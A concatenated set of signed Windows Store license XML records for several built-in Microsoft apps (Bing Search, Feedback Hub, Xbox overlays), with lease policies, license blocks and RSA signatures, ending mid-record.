<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="6aded185-b632-4710-9cf5-9867cedd2070" LicenseID="4249a93b-5fa1-60ff-1f91-d4eb29974c60" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><LicenseInstanceID>a25b62b9-96d3-4003-9fb9-3cb4e6ccbd09</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><AssociatedPFNs>Microsoft.BingSearch_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>86400</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T16:00:01.5177581Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:01.5063071Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6IkRldmljZSIsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2xpY2Vuc2VJbnN0YW5jZUlkPWEyNWI2MmI5LTk2ZDMtNDAwMy05ZmI5LTNjYjRlNmNjYmQwOSZwb2xpY3lUeXBlPU9mZmxpbmUmcHJvZHVjdElkPTlOWkJGNEdUMDQwQyZyZXF1ZXN0b3JJZD0yYzNmMWQ0Ny00MjZkLWM3ZDctZmFjZS1lZjFhZGQyMDg4MTgmc2t1SWQ9MDAxNCIsImxpY2Vuc2VJbnN0YW5jZUlkIjoiYTI1YjYyYjktOTZkMy00MDAzLTlmYjktM2NiNGU2Y2NiZDA5Iiwia2V5SWRzIjpbIjdmODJiMGU5LWE2ZjMtNzY5OC0wM2RjLTYzYzEwZDJjY2IzMSJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjJjNDQ0ZWQ4LWM1NjQtOGYyMi0yMjZlLTZiYWNhYWRmZjZjZSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TlpCRjRHVDA0MEMiLCJza3VJZCI6IjAwMTQifV0sInBvbGxBdCI6IjIwMjYtMDQtMjFUMTY6MDA6MDEuNTA2MTkzNSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJyZXF1ZXN0b3JJZCI6IjJjM2YxZDQ3LTQyNmQtYzdkNy1mYWNlLWVmMWFkZDIwODgxOCIsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAK4AAADJAAAACgAAAAUAAgAChZhpAADLAAAAEAAAADupSUKhX/9gH5HU6ymXTGDOAAAARgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwBzAGUAYQByAGMAaABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEA4yUw5FeZLrqWenxM+MXBPQ4hI+y+Mwd89qURYjQrLaPTAAAABAAAAAKf52nMAAAARAAAAAEAAgAsDCEVnahKZ/i8MNFShfLoYZbYLmlckXCVaMifM2e0S5XBOjqjO9QukSzGbN9bUq6A3hpaq8ejodDSdGAbNCb4</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>Q7Pxtl+RcFsz70xdfllQGzKsm9i/ukeP3pKzkNlE4gk=</DigestValue></Reference></SignedInfo><SignatureValue>HFn1YPR7iyb5auPklIXznkY40ly2+QzlesBh0M52jeB38vIRrCoJfKm1NOgNtUwDxUeaTpNcjap3TOd5/4V8O1E6X1hVvoukb4HHYwDboI50B62C1V/W5uN1bUuoHBUW1n9MxgznIFvThzMOUnAFm8DjQ9jn3LaorkDAKNy+KLC8alKRpvShpNWmBgj5xwft7ujT8zVVaG5zQ07B+EFWWL8xCIGsfe5rfERDmeCMZ7Bq5n6alvuH7moNC0Y1gNpfulo9yniHXxqSaVqkpUL8itStV2lzW1UcxY9JX3pbcnZn2C3B3UFcP21J4DwvnDMTxIhkAPw+EcnxpPmrfsUgiw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
C<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="b666b1a6-55a0-4079-bd53-4f91810c8484" LicenseID="7f82b0e9-a6f3-7698-03dc-63c10d2ccb31" ContentID="2c444ed8-c564-8f22-226e-6bacaadff6ce" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NZBF4GT040C</ProductID><PFM>microsoft.bingsearch_8wekyb3d8bbwe</PFM><LicenseInstanceID>a25b62b9-96d3-4003-9fb9-3cb4e6ccbd09</LicenseInstanceID><RequestorID>2c3f1d47-426d-c7d7-face-ef1add208818</RequestorID><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2026-02-20T16:00:01.5176541Z</IssuedDate><LastUpdateDate>2026-02-20T16:00:01.5066597Z</LastUpdateDate><BeginDate>2026-02-20T16:00:01.5066591Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIyMzlhMzFkZC01NzZkLTQ3NDgtOTU0MC0xMDFjMWYzOWNlMmEifQ==</CustomPolicies><SPLicenseBlock>FAAAAK4AAADJAAAACgAAAAUAAQAChZhpAwDLAAAAEAAAAOmwgn/zpph2A9xjwQ0syzHOAAAARgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYgBpAG4AZwBzAGUAYQByAGMAaABfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEA4yUw5FeZLrqWenxM+MXBPQ4hI+y+Mwd89qURYjQrLaMgAAAABAAAAAKFmGnMAAAARAAAAAEAAgAqMO3Bv2nbGKXukzffJEzJaUU6ua9sSbrNB4swtdSwa/o0VTMdFFbd2IanwBxYGGrv4Sq6aQL4DaQ9VyU0syHX</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>csLRwH4rDKWImI/cFfX8pZi5U8MptlxofhFclQYBuPc=</DigestValue></Reference></SignedInfo><SignatureValue>hbH8CDEJCu3fhrEq1jeIjjhqUMtbtJx04pjT8sMscwODYsGiEFyxF/VMZSYQIL0DerCl+1mSmu/3UC0RN49OlRnaL/eqzxYhoCDEMrcbY/qf6rMyhFuPe0oDB5TbDnwpjpmepZ60Vw85wmE7V/cuaEgBEXCFeMFLSDkcz2ZSU+tevklLlhIeWjtbJPlsKSARsOiM7mtUHvBb9EO1pskWnhvqo7tb2QTgDNmDdDCyywO4UIYnErNbFO+BeKIIOUzTXcaAlQRYBlL7IFd5h+EcDiwJGdnTHBZqQhQm1qbz5KQBmaMC/negkIbPQX/IY2hp+SfchH5KrSVf47XOo6RL3g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d9c6644f-a337-4197-9d09-85a179f6a92f" LicenseID="03f8974b-362e-33e3-2e0b-c7bc2ea01c63" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:24:54.8003368Z</IssuedDate><LastUpdateDate>2026-02-20T14:24:54.7929394Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0wMTE2ZGMwMi03ODFiLWQxZDEtZmMxYy1jODAxOTU1MTFlMTcmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU5CTEdHSDRSMzJOJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiODI5MjY4MmEtNjg1MC1jMDZjLTliNmQtOTY0NmYxNmQ0ZWQwIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiMDExNmRjMDItNzgxYi1kMWQxLWZjMWMtYzgwMTk1NTExZTE3IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOQkxHR0g0UjMyTiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxNDoyNDo1NC43OTI3NjU4KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgC3bphpAADLAAAAEAAAAEuX+AMuNuMzLgvHvC6gHGPOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBmAGUAZQBkAGIAYQBjAGsAaAB1AGIAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABANKYvyMWp2vPCJqySjqR+wGcwWVYzLV0fa8N07/cnnm30wAAAAQAAAC3FQ9qzAAAAEQAAAABAAIAbZWfXNB77TATDGf6HXoQzS/dIohB0zdO3smTutgyRAeSQAqXeimudCnLjBBFD6MGXOIqnOHN7NuWCKcNJHka5Q==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>wIKQdl8xuLIvEnUlfL6HNO1fvQfi88FmMpsFUrdqOaM=</DigestValue></Reference></SignedInfo><SignatureValue>AyX1HY0po6tRjFFlb61jxlXoGwgKjTT1qMdqv+Xuh8cMlIKplEJT+96HyhS6WKk/GUglMiouEvYth/K64F5YyL1DxPq1Z2xnP0OLw2IhMZi9kE8pyIqY/GpPZKxljwgWWYgsAdENNCTgbP8H+99oRhqG6oRvRr9TtJE8632OOtoSEad+WAgiJziE4J6wrGOs+yD8N6ALgl3GJtDCqVBHP7Ncmzr//D7TI3cpcW04fmmV/LaaJ1SE3G0ELLhSQe07EJazES2/L2uYuNluT4FGum0NlHg/O2urAr0ZcXl685JYSui59/5HzuX6DwYQzpT9QAPd6eQ15W2+ASUXTWSmnA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="63c1abba-56ba-4f27-abeb-05a8c3790c27" LicenseID="8292682a-6850-c06c-9b6d-9646f16d4ed0" ContentID="0116dc02-781b-d1d1-fc1c-c80195511e17" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NBLGGH4R32N</ProductID><PFM>microsoft.windowsfeedbackhub_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T07:18:48.7583668Z</IssuedDate><LastUpdateDate>2026-02-20T07:18:48.7477027Z</LastUpdateDate><BeginDate>2026-02-20T07:18:48.747701Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJmMTQ2ZjNiNC05NGMxLTQ5ZDYtOGQ0OC01OTA2ZWUzN2Y3OTgifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQDZCphpAwDLAAAAEAAAACpokoJQaGzAm22WRvFtTtDOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBmAGUAZQBkAGIAYQBjAGsAaAB1AGIAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABANKYvyMWp2vPCJqySjqR+wGcwWVYzLV0fa8N07/cnnm3IAAAAAQAAADZCphpzAAAAEQAAAABAAIABUU1lbESZTlEHuCHxUm3cgvNALyDHSFsuAhaT0+rJf6yZ8TjGM8gsOGvwdYFekziCOYRv5WFf11kyRQ4FHqdvA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>ZAot//XsT4Yxkbozhe1PeO6nf/yxMydUPRwjjuyR/rc=</DigestValue></Reference></SignedInfo><SignatureValue>H3f28l8NuXhIxXNTfAG/2GuuhMAKnRZthuPWq4af0jP93ZJguO0LW7fcBgnhXNEuOoupwXC7GJ5LgG6rtQSjbxtZ/u0Mi3nJrosNJwM7ToLTMyO8JrYI5jCwppLdggmYsurQd5ZevkThqkbjZUoRDPWo1dInJYh18gDv5Gvds35eiRVJPT8uIsjcphNlqMjK6Dczrb733WUtSdHnH33xNAJuDbeESltWFpqb40EkuCXQxjk34itbFtPwnTcjNazqlD9jTsLPtZm5yBiWcdSaLBJrtkaSKQV1/5GKxsCop5OXY5AwEMymA2qNHRlp9oVmBu30E0SGlgSnDyz4njJ8Hw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
r<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d086c7e5-8334-4b87-a341-5ea67649f9be" LicenseID="f1bb69b5-a7d1-df8f-5820-49f387fd5d2e" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.XboxSpeechtoTextOverlay_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:01:56.1188427Z</IssuedDate><LastUpdateDate>2026-02-20T11:01:56.1153013Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1hNzE1ZDQ4OS1jMzQzLWYyMGItYjIyZS1mOGQ3NDkwNjFiMGMmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVAwODZOSEROQjlXJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiODY1ZThmMzAtMjBhMS05NTI4LWJiNDgtNDI5OTliNWIyYWE4Il0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiYTcxNWQ0ODktYzM0My1mMjBiLWIyMmUtZjhkNzQ5MDYxYjBjIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlQMDg2TkhETkI5VyIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMTowMTo1Ni4xMTUxNDc1KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAMgAAADJAAAACgAAAAUAAgAkP5hpAADLAAAAEAAAALVpu/HRp4/fWCBJ84f9XS7OAAAAYAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABzAHAAZQBlAGMAaAB0AG8AdABlAHgAdABvAHYAZQByAGwAYQB5AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCgOWyCseJAqSQtN7y2VYmaiBTzQw04B2LuwXxvj0ic/tMAAAAEAAAAJOYOaswAAABEAAAAAQACANLXEXEtS+7Kxo7ymwg9mJnfIeYhpaqKe3shrxjQ4wPHB24STDeV6P33dR4vBGvnsxXGnDCdsUhKjVN9joI/sTg=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>xsNEOqT92MSbzj970W//KatXgwVcFVyXtmH+F2TU3mQ=</DigestValue></Reference></SignedInfo><SignatureValue>CMM+CKR/7P4FJnSJzOusWbQtmFnv5DW9xvFDhirapZhiK8uSXNiUOzl0lY5StNvLrOGbdIQgBG0ptJTJR2oAT3K9agFGsNK1UHHnqpTM8OZi1FB81fqvV4bJw2VtKAckWR+wBa0riEjXo62Rvp08OGQr3vq5TG9NQocvqiQ/aRYukQu32Oy5UCESqjsYwTvmBe/7SSEkBKM9qAY4DLPTgxUFeEhMkVCXkwxKsZMz+t2kGLS2RiBdNkNOFQccZ1OhMJRb9g8uK0D1jzeNQ6bxikzU2Nr7Sm2vd0UyqhvopTmfP7fuy8fELczZ3E/Rs0C2GHUJjb3t6oiobdYxV8aqRQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="9f3bf466-5cdd-4675-94b9-7fb4d48b317e" LicenseID="865e8f30-20a1-9528-bb48-42999b5b2aa8" ContentID="a715d489-c343-f20b-b22e-f8d749061b0c" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9P086NHDNB9W</ProductID><PFM>microsoft.xboxspeechtotextoverlay_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:01:56.1208475Z</IssuedDate><LastUpdateDate>2026-02-20T11:01:56.1153583Z</LastUpdateDate><BeginDate>2026-02-20T11:01:56.1153578Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIzODNkZTU3YS1jYzYwLTQwMjQtODdiZi1lMjNjZTlkNGM2NjkifQ==</CustomPolicies><SPLicenseBlock>FAAAAMgAAADJAAAACgAAAAUAAQAkP5hpAwDLAAAAEAAAADCPXoahICiVu0hCmZtbKqjOAAAAYAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeABzAHAAZQBlAGMAaAB0AG8AdABlAHgAdABvAHYAZQByAGwAYQB5AF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCgOWyCseJAqSQtN7y2VYmaiBTzQw04B2LuwXxvj0ic/iAAAAAEAAAAJD+YacwAAABEAAAAAQACALBa/VyN81XKhEnH+Fw5kIZ2DmQDstE16ZL8eU0zcAvBvcQvi/vogch5BeE5+hGKa3yGPVYNqVSsDErcVxAhU34=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>VLkkeTvkSFx/fxlXvUHqyuO4dmf6PRqR69PsdGY8fc0=</DigestValue></Reference></SignedInfo><SignatureValue>LFJNeuDchFINOMZGKN4hZFW/DbLJ9yxsRrVoQnCf5SznVT5BTidj13d716NFTXNQHyJnwRND76xTwvbJCpvWTXZ2tXd6a/XJStRVK+s4u8n83+ImehDtupD4378gc6lCF1OCIpCcBmSmpEqgqM4B0qs1yYg9CYvl00/74UYudhK25drOxcQPFwLs5ymVh3G0bN6NOdOhlG1hsv8Chp07l7VxlKXTp3drBzFMaR1ARcSOWL7TWB+CrvFRMAfwgGj4eicpWFKJveZHW03OJJu6DGyp88qz3kU8dngZ+viyx1igIvOAw5MWhOmhc+9WxZZls/yTOpZKr2YO/d8YexCRSg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="5d9b8438-1e6a-479e-a089-36f12244350a" LicenseID="3110b8d7-d60c-6adc-c3ce-bd22f748af91" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.Xbox.TCUI_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:50:07.6936411Z</IssuedDate><LastUpdateDate>2026-02-20T13:50:07.6859522Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD1iYmZkNzU0OS03MWFlLWQ4ZmQtOWY1OC0yZWY0Yzg3NGIyMWMmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OU5LTkMwTEQ1Tk42JnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiOGNmYzgwNGEtZDc3Ny0yMzYxLTE2NzAtNDU2OWU1MTYzOTdlIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiYmJmZDc1NDktNzFhZS1kOGZkLTlmNTgtMmVmNGM4NzRiMjFjIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlOS05DMExENU5ONiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMzo1MDowNy42ODU3NjY3KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAgCQZphpAADLAAAAEAAAANe4EDEM1txqw869IvdIr5HOAAAARAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AeABiAG8AeAAuAHQAYwB1A